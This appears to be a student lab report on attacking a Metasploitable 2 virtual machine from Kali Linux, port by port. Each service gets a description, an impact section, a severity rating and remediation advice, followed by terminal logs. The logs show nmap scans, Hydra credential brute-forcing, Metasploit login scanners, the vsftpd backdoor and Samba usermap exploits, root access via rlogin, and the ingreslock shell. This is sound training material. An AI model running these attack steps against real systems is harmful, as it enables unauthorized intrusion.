

## **Task 2:**

### **Exploiting Ports On Metasploitable 2 using Kali Linux Created**

**By:**

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#### **Port Scan**

##### **Description:**

Port scanning is a security technique used to examine a system or network to determine which ports are open, what services are active, and where potential security gaps may exist. It functions by sending requests to various ports and observing the system's responses to identify whether those ports are open, closed, or filtered by security mechanisms such as firewalls. Tools such as Nmap, Netcat, and IP scanning utilities are commonly used to detect exposed services and verify that systems are securely configured.

##### **Impact:**

The effect of port scanning depends on how and why it is performed. In malicious scenarios, attackers can use port scanning results to discover open ports and running services, which may lead to vulnerability exploitation, unauthorized access, or system breaches. Excessive or aggressive scans can also slow down network performance and raise alerts in intrusion detection or firewall systems. On the other hand, when conducted responsibly by organizations, port scanning plays a positive role by revealing unnecessary open ports, identifying configuration issues, and helping improve overall network security by minimizing exposure to threats.

**Severity:** Medium

##### **Remedial:**

To mitigate the risks related to port scanning, organizations should adopt effective security controls. All unused or nonessential ports should be closed to reduce potential attack vectors. Firewalls need to be correctly configured to allow only required traffic and block unauthorized connections. Implementing IDS/IPS solutions enables real-time detection and response to suspicious scanning behavior. Periodic security assessments and approved port scans should be carried out to identify weaknesses early. Additionally, applying regular system updates, enforcing strict access permissions, and using methods like port knocking and network segmentation can further enhance protection against malicious scanning activities.

**PUC:**

```

Session Actions Edit View Help
root@kali:~/home/divya
└─# nmap -p- -sV 192.168.0.112
Starting Nmap 7.6.1 ( https://nmap.org ) at 2025-12-31 21:19 +0530
Nmap scan report for 192.168.0.112
Host is up (0.0001s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  login        netatalk afpaxd
3306/tcp  open  mysql        MySQL 5.6.31a-0ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  x11          (access denied)
6067/tcp  open  irc          Unred IRCd
6091/tcp  open  irc          Unred IRCd
8000/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb          Ruby DRb RM (Ruby 1.8; path /usr/lib/ruby/1.8/druby)
38564/tcp open  status       1 (RPC #100024)
48183/tcp open  nlockmgr    1-4 (RPC #100021)
50000/tcp open  java-rmi    GNU Java Remote Gmiregistry
31431/tcp open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
MAC Address: 08:00:27:E2:2F:DC (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

```

## FTP Port 21 Exploit

### Description:

FTP (File Transfer Protocol) operating on port 21 is a frequent target for cyber attackers because it is often publicly accessible and, when improperly configured, can introduce major security vulnerabilities. Attacks on FTP port 21 commonly take advantage of weak or default login credentials, enabled anonymous access, or unpatched FTP server applications. Since standard FTP does not encrypt data, usernames, passwords, and file transfers are sent in plain text, making them vulnerable to interception through packet sniffing. In some situations, insecure FTP configurations may permit unauthorized uploading or downloading of files, allowing attackers to access confidential information, plant malicious content, or escalate their access. Furthermore, certain FTP servers contain known flaws such as buffer overflows or hidden backdoors, which attackers can exploit to execute commands remotely, making unsecured FTP services extremely dangerous.

### Impact:

Successful exploitation of FTP port 21 can cause severe damage to an organization's security environment. Unauthorized access to an FTP server may allow attackers to steal sensitive information, alter or erase important files, or upload malware and backdoors. Because FTP credentials are transmitted without encryption, attackers can capture login details using network monitoring techniques and reuse them to access other internal systems. A compromised FTP service may also serve as a stepping stone for further attacks, including lateral movement within the network, website tampering, or large-scale data theft. Such incidents can lead to data breaches, system disruptions, loss of trust, and regulatory or legal consequences. **Severity:** Critical

### Remedial:

To reduce the risk of FTP port 21 exploitation, organizations must implement robust security controls. Anonymous FTP access should be completely disabled, and strong authentication policies should be enforced to defend against brute-force attacks. Whenever feasible, insecure FTP should be replaced with encrypted alternatives such as SFTP or FTPS to protect credentials and data in transit. FTP servers must be regularly updated and patched to eliminate known

vulnerabilities. Firewall rules should restrict access to port 21, permitting connections only from authorized and trusted IP addresses. In addition, continuous log analysis, routine vulnerability scanning, and periodic security reviews should be conducted to detect and respond promptly to suspicious FTP-related activity.

PUC

### First Way:

```
---(root㉿kali)-[~/home/divya]---  
# nmap -sV 192.168.0.112 -p 21  
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-31 21:33 +0530  
Nmap scan report for 192.168.0.112  
Host is up (0.0059s latency).  
  
PORT      STATE SERVICE VERSION  
21/tcp    open  ftp      vsftpd 2.3.4  
MAC Address: 08:00:27:E2:2F:DC (Oracle VirtualBox virtual NIC)  
Service Info: OS: Unix  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.  
Nmap done: 1 IP address (1 host up) scanned in 2.15 seconds
```

```
Session Actions Edit View Help
zsh: corrupt history file /home/divya/.zsh_history
[divya@kali:~]
$ msfconsole
Metasploit tip: When in a module, use back to go back to the top level
prompt
IIIIII dTb.dTb
 II   4" v 'B' . . . . . / \ . . .
 II   6" . ,P' ; ; ; ; ; ; ; ; ; ;
 II   'T; . ,P'
 II   'T; ;P'
IIIIII  'YvP'

I love shells --egypt

      =[ metasploit v6.4.103-dev          ] ]
+ -- =[ 2,584 exploits - 1,319 auxiliary - 1,697 payloads      ] ]
+ -- =[ 434 post - 49 encoders - 14 nops - 9 evasion       ] ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > [
```

```
msf > search vsftpd 2.3.4
Matching Modules
=====
#  Name                                Disclosure Date  Rank      Check  Description
-  --
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03    excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
```

```
[*] Failed to load module: exploit/unix/ftp/vsftpd_234_backdoor
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.0.112
RHOST => 192.168.0.112
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.0.112:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.0.112:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > █
```

## Second way using Hydra

```

└─(root㉿kali)-[~/home/divya]
└─# cat >users.txt
msfadmin
service
user
postgres
^C

└─(root㉿kali)-[~/home/divya]
└─# cat >Password.txt
msfadmin
service
user
postgres
^C

└─(root㉿kali)-[~/home/divya]
└─# cat
[[A
[[A

^[[A
^[[A
^C

└─(root㉿kali)-[~/home/divya]
└─# cat users.txt
msfadmin
service
user
postgres

└─(root㉿kali)-[~/home/divya]
└─# cat Password.txt
msfadmin
service
user
postgres

```

```

└─(root㉿kali)-[~/home/divya]
└─# hydra -L users.txt -P Password.txt 192.168.0.112 ftp
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret se
and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-31 22:08:14
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per task
[DATA] attacking ftp://192.168.0.112:21/
[21][ftp] host: 192.168.0.112 login: service password: service
[21][ftp] host: 192.168.0.112 login: msfadmin password: msfadmin
[21][ftp] host: 192.168.0.112 login: user password: user
[21][ftp] host: 192.168.0.112 login: postgres password: postgres
1 of 1 target successfully completed, 4 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-31 22:08:23

└─(root㉿kali)-[~/home/divya]
└─# ftp 192.168.0.112 -e exploit/unix/ftp/vsftpd_23%_backdoor
Connected to 192.168.0.112.
220 (vsFTPd 2.3.4)
Name (192.168.0.112:divya): msfadmin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 
```

### Third Way using searchsploit

```

msf > search vsftpd 2.3.4
Matching Modules
=====
#  Name                                     Disclosure Date   Rank      Check  Description
-  exploit/unix/ftp/vsftpd_234_backdoor    2011-07-03     excellent No    VSFTPD v2.3.4 Backdoor Command Execution
                                         - Backdoor Command Execution
                                         - Backdoor Command Execution (Metasploit)

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name          Current Setting  Required  Description
CHOST          no             no        The local client address
CPORT          no             no        The local client port
Proxies        no             no        A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: s
RHOSTS         yes            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/u
RPORT          21             yes       The target port (TCP)

Exploit target:

Id  Name
--  --
0   Automatic

```

## Port 22 – SSH Exploit

### Description:

Port 22 is commonly used by the Secure Shell (SSH) protocol to allow encrypted remote access to servers and systems. An SSH-related exploit occurs when attackers abuse security weaknesses such as weak or reused passwords, default login details, outdated SSH software, or improper configuration settings. Typical attack techniques include brute-force authentication attempts, credential reuse attacks, and exploitation of publicly known flaws in older SSH versions. When these attacks succeed, adversaries can obtain unauthorized remote access and run commands on the affected system.

### Impact:

Compromising SSH services on port 22 can result in complete control over the targeted system. Attackers may gain shell access with standard user or administrative (root) privileges, enabling them to steal sensitive information, alter system configurations, deploy malware, or move laterally across the network. In many cases, a breached SSH service can function as a long-term backdoor, leading to service outages, financial losses, and serious damage to an organization's reputation.

### Severity: Critical

### Remedial:

To protect against exploitation of SSH on port 22, organizations should replace passwordbased logins with key-based authentication wherever possible. Enforcing strong authentication policies, changing the default SSH port, and disabling direct root login can significantly reduce attack exposure. SSH services must be regularly updated to address known vulnerabilities. Additional protections such as strict firewall rules, IP allow-listing, intrusion prevention tools

like Fail2Ban, and continuous log monitoring should be implemented to detect and block brute-force or suspicious SSH activity. **PUC:Firsy way**

```

divya@kali: ~
Session Actions Edit View Help
msf > search ssh.login
Matching Modules
=====
#  Name          Disclosure Date  Rank   Check  Description
-  auxiliary/scanner/ssh/ssh_login .      normal  No    SSH Login Check Scanner

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/ssh/ssh_login

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

Name          Current Setting  Required  Description
----          -----          -----  -----
ANONYMOUS_LOGIN  false          yes      Attempt to login with a blank username and password
BLANK_PASSWORDS  false          no       Try blank passwords for all users
BRUTEFORCE_SPEED 5             yes      How fast to bruteforce, from 0 to 5
CreateSession    true           no       Create a new session for every successful login
DB_ALL_CREDITS  false          no       Try each user/password couple stored in the current database
DB_ALL_PASS     false          no       Add all passwords in the current database to the list
DB_ALL_USERS    false          no       Add all users in the current database to the list
DB_SKIP_EXISTING none          no       Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
KEY_PASS        no            no       Passphrase for SSH private key(s)
KEY_PATH        no            no       Filename or directory of cleartext private keys. Filenames beginning with a dot, or ending in ".pub" will be ignored.
PASSWORD        no            no       A specific password to authenticate with
PASS_FILE       Dekstop/Passwords no       File containing passwords, one per line
PRIVATE_KEY     no            no       The string value of the private key that will be used. If you are using MSFConsole, this value
                                         OpenSSH, RSA, DSA, and ECDSA private keys are supported.

msf auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.0.112
RHOSTS => 192.168.0.112
msf auxiliary(scanner/ssh/ssh_login) > set VERBOSE True
VERBOSE => true
msf auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS True
STOP_ON_SUCCESS => true
msf auxiliary(scanner/ssh/ssh_login) > set USER_FILE Dekstop/Usernames
USER_FILE => Dekstop/Usernames
msf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE Dekstop/Passwords
PASS_FILE => Dekstop/Passwords
msf auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

Name          Current Setting  Required  Description
----          -----          -----  -----
ANONYMOUS_LOGIN  false          yes      Attempt to login with a blank username and password
BLANK_PASSWORDS  false          no       Try blank passwords for all users
BRUTEFORCE_SPEED 5             yes      How fast to bruteforce, from 0 to 5
CreateSession    true           no       Create a new session for every successful login
DB_ALL_CREDITS  false          no       Try each user/password couple stored in the current database
DB_ALL_PASS     false          no       Add all passwords in the current database to the list
DB_ALL_USERS    false          no       Add all users in the current database to the list
DB_SKIP_EXISTING none          no       Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
KEY_PASS        no            no       Passphrase for SSH private key(s)
KEY_PATH        no            no       Filename or directory of cleartext private keys. Filenames beginning with a dot, or ending in ".pub" will be ignored.
PASSWORD        no            no       A specific password to authenticate with
PASS_FILE       Dekstop/Passwords no       File containing passwords, one per line
PRIVATE_KEY     no            no       The string value of the private key that will be used. If you are using MSFConsole, this value
                                         OpenSSH, RSA, DSA, and ECDSA private keys are supported.
RHOSTS          192.168.0.112  yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
REPORT          22             yes      The target port

msf auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.0.107:22      - Starting bruteforce
[*] 192.168.0.107:22  SSH - Testing User/Pass combinations
[-] 192.168.0.107:22      - Failed: 'john:john'

```

```
[*] Auxiliary module execution completed
msf auxiliary(scanner/ssh/ssh_login) > session -i
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf auxiliary(scanner/ssh/ssh_login) > sessions -i

Active sessions
=====

```

Id	Name	Type	Information	Connection
1		shell linux	SSH vrushali @ 192.168.0.106:33097	→ 192.168.0.107:22 (192.168.0.107)

```
msf auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1 ...

whoami
msfadmin
ls
vulnerable
uname - i
uname: extra operand `--'
Try `uname --help' for more information.
uname -i
unknown
|
```

## Port 23 – Telnet Exploit

### Description:

Port 23 is associated with the Telnet protocol, which enables remote system access over a network. Telnet is widely regarded as insecure because it sends authentication details and command data in clear text, without any form of encryption. Attacks on Telnet services commonly involve intercepting credentials through network sniffing, performing brute-force login attempts, or exploiting weak and default passwords. Since Telnet traffic is unencrypted, attackers who observe network communications can easily obtain login information or gain access by repeatedly trying different credentials.

### Impact:

Exploitation of Telnet running on port 23 can result in unauthorized remote control of the affected system. Once access is gained, attackers may steal sensitive data, modify system settings, install malicious software, or fully compromise the machine. As Telnet provides direct command-line access, a successful exploit allows attackers to run harmful commands, establish persistent backdoors, and move laterally to other systems within the network. Continued use of Telnet greatly increases the likelihood of security breaches, operational downtime, and damage to an organization's reputation.

### Severity: Critical

### Remedial:

To mitigate the risks associated with Telnet exploitation, organizations should completely disable Telnet services wherever possible. Secure alternatives such as SSH should be used instead, as they provide encrypted communication. Strong authentication mechanisms must be enforced, and default credentials should be removed immediately. Network firewalls should block access to port 23 to prevent unauthorized connections. Regular security audits,

traffic monitoring, and vulnerability assessments should also be performed to ensure that Telnet services are not enabled unintentionally and that systems remain secure.

## PUC:

```
msf auxiliary(scanner/ssh/ssh_login) > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(scanner/telnet/telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):
=====
Name          Current Setting  Required  Description
----          --------------  -----    -----
ANONYMOUS_LOGIN      false        yes       Attempt to login with a blank username and password
BLANK_PASSWORDS     false        no        Try blank passwords for all users
BRUTEFORCE_SPEED    5           yes      How fast to bruteforce, from 0 to 5
CreateSession        true        no        Create a new session for every successful login
DB_ALL_CREDS        false        no        Try each user/password couple stored in the current database
DB_ALL_PASS         false        no        Add all passwords in the current database to the list
DB_ALL_USERS        false        no        Add all users in the current database to the list
DB_SKIP_EXISTING   none        no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD           none       no        A specific password to authenticate with
PASS_FILE          none       no        File containing passwords, one per line
RHOSTS             none       yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT              23          yes      The target port (TCP)
STOP_ON_SUCCESS    false        yes      Stop guessing when a credential works for a host
THREADS            1           yes      The number of concurrent threads (max one per host)
USERNAME           none       no        A specific username to authenticate as
USERPASS_FILE      none       no        File containing users and passwords separated by space, one pair per line
USER_AS_PASS       false        no        Try the username as the password for all users
USER_FILE          none       no        File containing usernames, one per line
VERBOSE            true        yes     Whether to print output for all attempts

View the full module info with the info, or info -d command.
```

```
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.0.107
RHOSTS => 192.168.0.107
msf auxiliary(scanner/telnet/telnet_login) > set USER_FILE root/users.txt
USER_FILE => root/users.txt
msf auxiliary(scanner/telnet/telnet_login) > set USER_FILE /root/users.txt
USER_FILE => /root/users.txt
msf auxiliary(scanner/telnet/telnet_login) > set PASS_FILE /root/password.txt
PASS_FILE => /root/password.txt
msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/telnet/telnet_login) > █
```

## Port 25 – SMTP Exploit

### Description:

Port 25 is utilized by the Simple Mail Transfer Protocol (SMTP) for transferring emails between mail servers. Security issues related to SMTP commonly arise from misconfigurations such as open mail relays, weak or missing authentication mechanisms, or outdated mail server software. Attackers can exploit these weaknesses to send unauthorized messages, impersonate legitimate email addresses, or run large-scale spam and phishing campaigns. In certain scenarios, flaws in SMTP services may also be leveraged for email user enumeration or even remote code execution.

### Impact:

When SMTP on port 25 is compromised, it can result in widespread spam delivery, phishing operations, and email spoofing attacks. These activities often harm an organization's credibility and may cause its mail server to be blacklisted by email service providers.

Attackers may also collect valid email addresses, enabling more focused and damaging attacks. In more serious situations, a hijacked SMTP server can be misused to distribute malware or support broader cyberattacks, leading to financial losses, regulatory complications, and erosion of customer trust.

**Severity:** High

**Remedial:**

To reduce the risk of SMTP port 25 exploitation, organizations should ensure that open mail relay functionality is disabled and that SMTP authentication is strictly enforced. Mail server software must be regularly updated to address known security flaws. Firewall configurations should limit access to port 25, permitting connections only from approved and trusted mail servers. Implementing email protection standards such as SPF, DKIM, and DMARC helps defend against spoofing and phishing attempts. Additionally, ongoing log analysis, spam filtering, and security monitoring further enhance protection against SMTP-based threats.

**PUC:**

```
msf > search smtp_enum
Matching Modules
=====
#  Name
option
-
-
0  auxiliary/scanner/smtp/smtp_enum  .
Disclosure Date  Rank  Check  Descr
normal  No  SMTP

msf > use auxiliary/scanner/smtp/smtp_enum
msf auxiliary(scanner/smtp/smtp_enum) > show options

Module options (auxiliary/scanner/smtp/smtp_enum):
=====
Name      Current Setting      Required  Description
RHOSTS            yes    The target host(s), see https://
                           //docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT          25      yes    The target port (TCP)
THREADS         1      yes    The number of concurrent threads

msf auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 192.168.0.112
RHOSTS => 192.168.0.112
msf auxiliary(scanner/smtp/smtp_enum) > exploit
[*] 192.168.0.112:25 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smtp/smtp_enum) >
```

## Port 139 & 445 – Samba / SMB Exploit

**Description:**

Ports 139 and 445 are commonly associated with Samba or SMB (Server Message Block) services, which support file sharing, printer access, and network authentication across systems. Port 139 functions over NetBIOS, while port 445 communicates directly over TCP/IP. Security exploitation of Samba services often results from poorly configured shared folders, enabled anonymous or guest access, weak authentication methods, or outdated Samba software containing known security flaws. Through these weaknesses, attackers can enumerate network shares, user accounts, and system details, and in certain cases exploit vulnerabilities to gain unauthorized access or execute malicious code remotely.

#### **Impact:**

Successful exploitation of ports 139 and 445 can allow attackers to access confidential shared data, alter or delete files, and collect user credentials. In more critical situations, vulnerabilities in SMB or Samba services may enable remote code execution, leading to complete system takeover. Once compromised, these services can also be leveraged for lateral movement, allowing attackers to propagate malware or escalate privileges within the network. Such attacks may result in data leaks, operational disruption, and significant damage to an organization's reputation.

#### **Severity:** High

#### **Remedial:**

To reduce the risks linked to Samba and SMB exploitation, organizations should disable unnecessary SMB services and tightly control access to ports 139 and 445 through firewall rules. Anonymous and guest logins must be turned off, and strong authentication mechanisms should be enforced. Samba servers should be regularly updated with the latest security patches, and shared resources must follow the principle of least privilege. Additional safeguards such as detailed logging, continuous monitoring of SMB traffic, and network segmentation can further limit exposure and prevent widespread exploitation.

#### **PUC:**

```
msf > use auxiliary/scanner/smb/smb
Matching Modules
=====
#  Name                               Disclosure Date  Rank   Check  Description
-- 
0  auxiliary/scanner/smb/ms17_010      .              normal  No    MS17-010 SMB RCE Detection
1  \_ AKA: DOUBLEPULSAR               .              .       .
2  \_ AKA: ETERNALBLUE                .              .       .
3  auxiliary/scanner/smb/enumusers_domain .             normal  No    SMB Domain User Enumeration
4  auxiliary/scanner/smb/group_gpp     .              normal  No    SMB Group Policy Preference Saved Passwords Enumeration
5  auxiliary/scanner/smb/login        .              normal  No    SMB Login Check Scanner
6  auxiliary/scanner/smb/lookupsid    .              normal  No    SMB SID User Enumeration (LookupSid)
7  \_ action: DOMAIN                 .              .       .
8  \_ action: LOCAL                  .              .       .
9  auxiliary/scanner/smb/enumshares   .              normal  No    SMB Share Enumeration
10 auxiliary/scanner/smb/enumusers    .              normal  No    SMB User Enumeration (SAM EnumUsers)
11 auxiliary/scanner/smb/version     .              normal  No    SMB Version Detection
12 auxiliary/scanner/smb/uninit_cred .              normal  Yes   Samba _netr_serverPasswordSet Uninitialized Credential State

Interact with a module by name or index. For example info 12, use 12 or use auxiliary/scanner/smb/uninit_cred
```

```
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(scanner/smb/smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):
=====
Name      Current Setting  Required  Description
RHOSTS    yes            The target host(s), see https://docs.metasploit.com/docs/
RPORT     no             The target port (TCP)
THREADS   1              The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.
```

```
msf auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.0.112
RHOSTS => 192.168.0.112
msf auxiliary(scanner/smb/smb_version) > run
[*] 192.168.0.112 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_version) > 
```

```
[root@kali ~]# searchsploit samba | grep 3.0.20
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)
Samba < 3.0.20 - Remote Heap Overflow
```

```
[*] AUXILIARY MODULE EXECUTION COMPLETED
msf auxiliary(scanner/smb/smb_version) > grep samba search username map scrip
t
  1 exploit/multi/samba/usermap_script    2007-05-14      excellent  No
  Samba "username map script" Command Execution
Interact with a module by name or index. For example info 1, use 1 or use exp
loit/multi/samba/usermap_script
msf auxiliary(scanner/smb/smb_version) > use exploit/multi/samba/usermap_scri
pt
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > show options
[-] Invalid parameter "optsins", use "show -h" for more information
msf exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

Name   Current Setting  Required  Description
_____
CHOST          no        The local client address
CPORT          no        The local client port
Proxies        no        A proxy chain of format type:host:po
rt[,type:host:port][ ... ]. Supported
```

```
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.0.112
RHOSTS => 192.168.0.112
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 192.168.0.113:4444
[-] 192.168.0.112:139 - Exploit failed [unreachable]: Rex::HostUnreachable The host (192.168.0.112:139) was unreachable.
[*] Exploit completed, but no session was created.
msf exploit(multi/samba/usermap_script) > 
```

## Port 512, 513 & 514 – R-Services (RLogin) Exploit

### Description:

Ports 512, 513, and 514 are linked to older remote access utilities known as *r-services*, which include **rexec** (port 512), **rlogin** (port 513), and **rsh** (port 514). These services were originally developed for remote login and command execution on Unix-based systems. However, they depend on host-based trust mechanisms and send authentication details and commands in unencrypted (plain-text) form. Because of these design flaws, r-services are extremely insecure and can be easily exploited if they remain enabled on a system.

### Impact:

If r-services running on ports 512, 513, and 514 are compromised, attackers may gain unauthorized remote access without needing valid credentials. By exploiting trusted host relationships or capturing network traffic, an attacker can run commands, access or alter sensitive files, change system settings, and potentially take complete control of the system. In corporate environments, these services are especially dangerous because they can be abused for lateral movement, allowing attackers to spread across multiple systems within the internal network.

### Severity: Critical

### Remedial:

The most effective mitigation is to completely disable all r-services, including rlogin, rsh, and rexec. These legacy services should be replaced with secure alternatives such as SSH, which supports encryption and strong authentication methods. Network firewalls must block inbound and outbound traffic on ports 512, 513, and 514, and any existing trust relationships between hosts should be removed. Regular system hardening, timely patch management, and continuous monitoring should be enforced to ensure these insecure services are not accidentally re-enabled and do not introduce security risks.

#### PUC:

```
└─(root㉿kali)-[~/home/divya]
└─# apt-get remove rsh tools
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Package 'tools' is not installed, so not removed
E: Unable to locate package rsh

└─(root㉿kali)-[~/home/divya]
└─# rlogin -l root 192.168.0.112
rlogin: Could not make a connection.

└─(root㉿kali)-[~/home/divya]
└─# rlogin -l root 192.168.0.105
Last login: Thu Jan  1 11:18:56 EST 2026 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~# whoami
root
root@metasploitable:~# cd/
-bash: cd/: No such file or directory
root@metasploitable:~# ls
Desktop  reset_logs.sh  vnc.log
root@metasploitable:~# ls home
ls: cannot access home: No such file or directory
root@metasploitable:~# ┌
```

## Port 1524 – Ingreslock Exploit

#### Description:

Port 1524 is often linked to the *Ingreslock* backdoor, a legacy service that may appear on improperly configured or previously compromised Unix/Linux systems. This service is not required for standard system functionality and is usually introduced by attackers or insecure software installations. When port 1524 is accessible, it typically exposes a command shell running with elevated privileges, allowing attackers to access the system directly without valid authentication.

#### Impact:

Abuse of the Ingreslock service on port 1524 can result in instant and unauthorized system access. An attacker may obtain a remote shell, run arbitrary commands, alter or remove

files, deploy malicious software, and create persistent backdoors. Since the service often operates with high-level privileges, successful exploitation can lead to complete system takeover and enable further attacks across the internal network.

**Severity:** Critical

**Remedial:**

If port 1524 is detected as open, the system should be investigated immediately for potential compromise. The Ingreslock service must be disabled and completely removed, and the system should be thoroughly examined for backdoors or malicious activity. Administrators should audit all running services, eliminate unauthorized processes, and apply proper system hardening practices. Firewall rules must be configured to block port 1524, unnecessary services should be turned off, and regular security assessments should be conducted to prevent similar vulnerabilities in the future.

**PUC:**

```
[sudo] password for divya:  
zsh: corrupt history file /root/.zsh_history  
└─(root㉿kali)-[/home/divya]  
└─# telnet 192.168.0.105 1524  
Trying 192.168.0.105 ...  
Connected to 192.168.0.105.  
Escape character is '^]'.  
root@metasploitable:/# whoami  
root  
root@metasploitable:/# root@metasploitable:/# cd  
bash: cd: HOME not set  
root@metasploitable:/# root@metasploitable:/# ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
tmp  
usr  
var  
vmlinuz
```

## Port 3306 – MySQL Exploit

**Description:**

Port 3306 is the standard communication port used by MySQL database servers to handle interactions between clients and the database. A MySQL-related exploit usually occurs when the database service is publicly accessible or incorrectly configured. Common security weaknesses include the use of weak or default credentials, missing network access restrictions, outdated MySQL versions containing known vulnerabilities, overly permissive user privileges, and insecure authentication configurations. During reconnaissance, attackers frequently scan for exposed MySQL services to gain unauthorized entry into backend databases.

**Impact:**

If MySQL running on port 3306 is compromised, attackers may gain access to sensitive information stored within the database, such as user data, login credentials, financial details, and application records. They may alter or remove database content, create unauthorized database accounts, or, in extreme cases, exploit vulnerabilities to execute system-level commands. A breached database can also be leveraged to support additional attacks, including privilege escalation, large-scale data extraction, or complete compromise of the associated application.

**Severity:** High

**Remedial:**

To mitigate risks related to MySQL exposure, access to port 3306 should be tightly controlled through firewall configurations, allowing connections only from trusted application servers or internal networks. Strong, unique passwords must be enforced for all database accounts, role-based access control should be applied, and default users should be removed. MySQL servers should be consistently updated with the latest security patches, remote root access must be disabled, and encrypted connections should be enabled to protect data in transit. Continuous logging, monitoring, and routine security audits are essential to detect and prevent unauthorized database access.

**PUC:**

Port  
5432 –

```
msf > use auxiliary scanner/mysql/mysql_version
Matching Modules
=====
#  Name                               Disclosure Date  Rank   Check  Description
-  auxiliary/scanner/mysql/mysql_version .           normal  No     MySQL Server Version Enumeration

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/mysql/mysql_version

[*] Using auxiliary/scanner/mysql/mysql_version
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf auxiliary(scanner/mysql/mysql_version) > show info

  Name: MySQL Server Version Enumeration
  Module: auxiliary/scanner/mysql/mysql_version
